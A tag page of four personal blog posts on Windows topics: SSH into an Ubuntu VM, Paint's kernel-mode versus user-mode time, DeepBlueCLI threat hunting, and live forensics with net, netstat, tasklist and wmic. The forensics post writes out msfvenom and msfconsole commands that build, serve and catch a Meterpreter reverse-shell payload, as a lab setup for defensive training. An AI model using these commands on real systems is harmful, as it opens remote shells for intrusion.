Tag: windows

How to connect to an Ubuntu VM via SSH with PowerShell

This blog entry shows how to connect to a Ubuntu VM via SSH from PowerShell with Windows 10 as a host.

Are you running Windows 10 as a host and want to connect to your Ubuntu VM? Are you using VirtualBox as a hosted hypervisor? If the answers to these questions are two yes, keep reading!

As you will see below, this technique is especially useful if you are using Ubuntu Server – which comes without a GUI – and want to avoid the pains of working on that terminal. For example, Page Up and Page Down didn’t work and the screen was too small. Even VirtualBox Guest Additions didn’t help solve the problem.

Here you find the list of steps from the creation of the VM to the SSH connection via PowerShell (the relative screenshots are under the list):

  1. Create a Ubuntu VM on VirtualBox (I’m using VirtualBox 6.1.26).
  2. Install Ubuntu Server 18.04.6 LTS in it (download the ISO from here by selecting “Server install image”).
  3. Start the VM and logon.
  4. Make sure that process sshd is running and listening on port 22 (s. Screenshot 1):
    • ps aux | grep sshd
    • sudo netstat -plant | grep :22
  5. Power off the VM.
  6. Open VirtualBox Manager, select the Ubuntu VM, and click on Settings. Click on Network, click on Advanced, click on Port Forwarding. Add a new port forwarding rule and click OK (s. Screenshot 2).
    • PS: The Guest IP field is empty. With Guest IP = 10.0.2.15 (find yours by typing ifconfig in the terminal of the VM), the connection didn’t work.
  7. Start the VM again.
  8. Launch PowerShell on your host and type: ssh pb@127.0.0.1 -p 10022
  9. The first time you connect, PowerShell will ask if you are sure that you want to connect and show you the ECDSA key fingerprint. You can double check it by typing this in the VM terminal: ssh-keygen -l -f /etc/ssh/ssh_host_ecdsa_key.pub (s. Screenshot 3).
  10. Enter yes.
  11. Type again: ssh pb@127.0.0.1 -p 10022 (if it does not work, restart PowerShell).
  12. Enter you Ubuntu password. You will now see the Ubuntu welcome message (s. Screenshot 4). Now you are connected to your Ubuntu VM via PowerShell from your Windows 10 host. Congratulations! 🙂
Screenshot 1: Check if process sshd is running and listening on port 22.
Screenshot 2: Set up port forwarding.
Screenshot 3: Check if the ECDSA key fingerprint matches.
Screenshot 4: This message means victory 🙂

I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!

Microsoft Paint: Kernel Mode vs. User Mode

In this blog post, I test how much time Microsoft Paint spends in kernel mode versus user mode.

In this blog post, I test how much time Microsoft Paint spends in kernel mode versus user mode.

While reading Windows Internals, Part 1, 7th edition, I came across the topic Kernel Mode vs User Mode. After a lengthy explanation of what these modes are and why they exist, the authors stated that graphics-intensive applications, such as Microsoft Paint, spend more of their time in kernel mode than in user mode, because the bulk of the graphics and windowing system runs in kernel mode. With a bit of healthy distrust, I decided to test if this is true by visualizing this behavior with Performance Monitor. Before starting with the test, I will shortly explain why Windows uses two processor modes.

Theory

Windows uses two processor modes in order to protect user applications from accessing and/or modifying critical OS data. User application code runs in user mode, whereas OS code – such as system services and device drivers – runs in kernel mode. Concretely, kernel mode refers to a mode of execution in a processor that grants access to all system memory and all CPU instructions. All in all, user applications run in user mode so that they can’t disrupt the stability of the system as a whole even when they misbehave.

Experiment setup and execution

  1. Run MS Paint
  2. Run Performance Monitor
  3. In Performance Monitor, right click on User Defined under Data Collector Sets in the tree on the left side
  4. Click New, click Data Collector Set
  5. Enter “ms paint monitoring” under Name, select Create Manually, select Next
  6. Select Create Data Logs and Performance Counter, select Next
  7. Click Add
  8. Expand the Process counter session, select both % Privileged Time and % User Time
  9. Under Instances of selected object, select mspaint
  10. Click Add, click OK.
  11. Set Sample Interval to 1 second, select Next
  12. Choose Desktop as Root Directory, select Next
  13. Select Finish
  14. Select “ms paint monitoring” under Data Collector Sets > User Defined in the tree on the left side
  15. Click Play on the toolbar in Performance Monitor
  16. In MS Paint, write “test kernel vs. user mode” with the brush
  17. Click Stop on the toolbar in Performance Monitor
  18. Go to desktop, open the newly created folder, open the BLG file

Analysis and conclusion

My trace is 33 seconds long and has 66 data points (one data point for each second for each mode). After opening the BLG file, the default view should be the Line View, where the red line represents the percentage of time that the threads in the Paint process have run in kernel mode (which is labeled Privileged Time), whereas the green line represents the percentage of time that the threads in the Paint process have run in user mode (which is labeled User Time). You can also change to the Report View to display the average time percentage for each mode.

Line View of the 33-second long trace
Report View of the 33-second long trace

The Report View shows that MS Paint run on average 15% of the time in kernel mode and 8.8% of the time in user mode1. This is also confirmed by the Line View in which the data points for kernel mode are mainly bigger than those for user mode. All in all, this test confirms that Microsoft Paint spends more of its time in kernel mode than in user mode.

I hope you liked this post. If you have any questions, feel free to leave a comment in the comment section. Never stop learning!

Threat Hunting via Windows Event Logs with DeepBlueCLI

In this blog post, I will use the PowerShell module DeepBlueCLI to quickly discover suspicious account and command line behavior by parsing some sample evtx files from DeepBlueCLI GitHub page.

In this blog post, I will use the PowerShell module DeepBlueCLI to quickly discover suspicious account and command line behavior by parsing some sample evtx files1 from DeepBlueCLI GitHub page. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

New user is created and immediately added to the local Administrators group

In this section, we will analyze new-user-security.evtx with DeepBlueCLI. In the output, we see that a new user with username “IEUser” was created at 10:22:39 AM and then added to the local Administrators group at 10:22:40 AM, that is, one second after creation. This is suspicious as threat actors often create new users in order to gain a level of persistence in the network that they would not otherwise gain with malware.

Two security events from the log file were connected together by DeepBlueCLI and presented back to us with an intuitive summary.

Password spraying

In this section, we will analyze password-spray.evtx with DeepBlueCLI. Password spray attacks are those attacks where a threat actor targets a list of usernames on a domain and sprays them with the same password, like Winter2020. This attack is often successful because many companies do not implement a strong password policy. Moreover, such technique doesn’t often get picked up because accounts don’t get locked out, as the attacker keeps the attempted logon count below the lockout threshold defined in the lockout policy. In this instance, we see that DeepBlueCLI detects the attack and summarizes it for humans to read. Concretely, we see that a password spray attack was launched by user jwrig from machine DESKTOP-JR78RLP. Moreover, we see a list of the target usernames as well.

The DeepBlueCLI summary of a password spraying attack.

Password guessing

In this section, we will analyze smb-password-guessing-security.evtx with DeepBlueCLI. Password guessing attacks are those where the threat actor tries to login as a single user by trying out different passwords. In this instance, DeepBlueCLI detects such an attack against the Administrator account. The DeepBlueCLI summary shows that 3560 login attempts were made for this account.

The DeepBlueCLI summary of a password guessing attack.

Suspicious command line (attack with obfuscation)

In this last section, we will analyze Powershell-Invoke-Obfuscation-encoding-menu.evtx with DeepBlueCLI. This file contains logs of commands run from Powershell that are suspicious because they contain a lot of not common symbols. Attackers often use a number of encoding techniques to bypass signature detection2. Concretely, this means that threat actors rewrite malicious commands using not common symbols. For example, they could build the commands a character at a time, like in the screenshot below. Fortunately, this kind of activity often gets logged by Windows Defender because non-malicious scripts do not use so many uncommon characters. As you can see below, DeepBlueCLI runs a statistic on this specific command line invocation and shows that only 58% alphanumeric and common symbols were used in this example, thus indicating malicious activity.

This Powershell command was written character by character, that is, using the data type char. This is an example of obfuscation, a technique typically used by attackers to bypass signature detection.

All in all, DeepBlueCLI enables fast discovery of specific events detected in Windows Security. In this post, we only looked at detections of suspicious account and command line activities. However, DeepBlueCLI can do much more. Check out its page on GitHub!

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!

Endpoint Live Forensics from the Command Line on Windows

In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools.

In this blog post, I will provide an introduction of how to do live forensics on a Windows machine by using default command line tools. We will think of a compromised machine as a big haystack. In order to find out information about the attack, we will start with network connections and work backwards from there. This blog post is heavily inspired by the 16-hour seminar “SOC Core Skills” by John Strand (Black Hills Information Security).

The methods that I will present next will work in the majority of situations. However, there are cases where these tools won’t detect malicious activity. This is the case when the attacker uses a protocol that is not connection-oriented, like UDP1, or when the threat actor creates malware that has the capability to hide from our scans.

Detect a new share on an endpoint

Threat actors usually set up share drives on an infected endpoint. They do this because they don’t pull data directly from e.g., a SQL server. Instead they first copy files from the server to the infected endpoint, and then exfiltrate those files from there.

This section deals with the command net view which detects shares2 on a computer. This tool gives the SOC analyst the capability of detecting an attack by listing shares. At this point, it is important to notice that companies usually have servers that work as file shares. Thus, we do not expect to see share drives on an endpoint.

This is the result delivered by net view when the machine under scrutiny has no shares.

In order to demonstrate how this command works, we will first create a share on Windows 10.

  • Open File Explorer > Go to “C:\” > Create folder “Evil-Share”
  • Right click on “Evil-Share” > Properties > Sharing tab > Share > From dropdown, choose Everyone and click Add > Change Permission Level to Read/Write > Share (You might have to turn on File Sharing) > Done > Close

Now “Evil Share” is visible when running net view.

Evil-Share is listed as a share on the local machine.

Reconstruct the attack chain

Incidents are not isolated systems to be reviewed. Instead they are interactions between different machines. For this reason, it is important to track the communication between different machines on a network.

The command net session lists the inbound connections of a machine3. If the attacker were to pull data from an SQL server on our network and we were to run net session on that server, we would be able to see the communication between that server and the compromised endpoint.

This is the result of net session after running this command on a Windows Server 2012 R2 machine. Here we can see that computer \\BWESTON has a session open with Server 2012.

Identify which process started the malicious executable

In this section, we will learn how to track down the name of the process that started the malicious executable on a Windows endpoint. In order to do this we will use netstat, a tool that displays protocol statistics, and current TCP and UDP connections.

First, we create the malicious file and serve it from a machine running Kali. We create the payload for a reverse TCP shell with msfvenom and save it in the TrustMe.exe. We then serve this executable via a Python HTTP Server on port 8000. In parallel, we also start a reverse TCP handler.

  • msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=<YOUR KALI IPv4> lport=4444 -f exe -o /tmp/TrustMe.exe
  • cd /tmp
  • python -m SimpleHTTPServer 8000&
  • Hit Enter
  • msfconsole -q
  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost <YOUR KALI IPv4>
  • run

On Windows, open Edge and go to http://<KALI IPv4>:8000 and run TrustMe.exe from the browser without saving it. If you get a security warning, click Run. If you look at your Kali terminal tab, you will see that we now have a Meterpreter session.

The malicious executable is runnable on our Windows machine.

In the next steps, we will find out which process launched TrustMe.exe using the command line. In this case, the answer is obvious as we started the executable, but the technique remains valuable nevertheless.

We first run netstat -naob4. This command will let us find out whether suspect processes are running and also show the process name and ID, and the IP address of the machine they are communicating to.

There is a TCP connection established on port 4444 with a machine whose IPv4 is 172.28.254.28. Moreover, we see that PID 3132 was started by TrustMe.exe.

We can investigate further and check if 172.28.254.28 can be resolved to any known domain by our DNS.

We see that 172.28.254.28 cannot be resolved to a domain name.

The next step is to investigate process 3132 further. We can list all the modules that this process uses by running tasklist /m /fi "pid eq 3132"5. A quick online search of the DLLs displayed shows that they contain kernel functions. Unfortunately, this doesn’t confirm whether the executable is malicious.

TrustMe.exe is running four DLLs that all contain kernel functions.

We now look for the command line invocation of TrustMe.exe. The result of wmic process where processid=3132 get commandline6 shows that the executable was invoked by the Edge browser helper. Moreover, we also learn that this is a temporary file.

Get command line invocation of TrustMe.exe using WMIC.

The last remaining step is to understand the heritage of this process, that is the reaction chain that triggered it. In this case, it is quite simple. TrustMe.exe was executed by browser_broker.exe, which is a software component of Microsoft Edge.

The parent process that run TrustMe.exe is browser_broker.exe, a software component of Microsoft Edge.

Using only standard command line tools, we were able to detect a TCP connection to a suspicious IP address that was created by TrustMe.exe. Moreover, we also listed the DLLs used by this executable, its command line invocation and its parent process.

I hope you liked this post. If you have any question, feel free to leave a comment in the comment section. Never stop learning!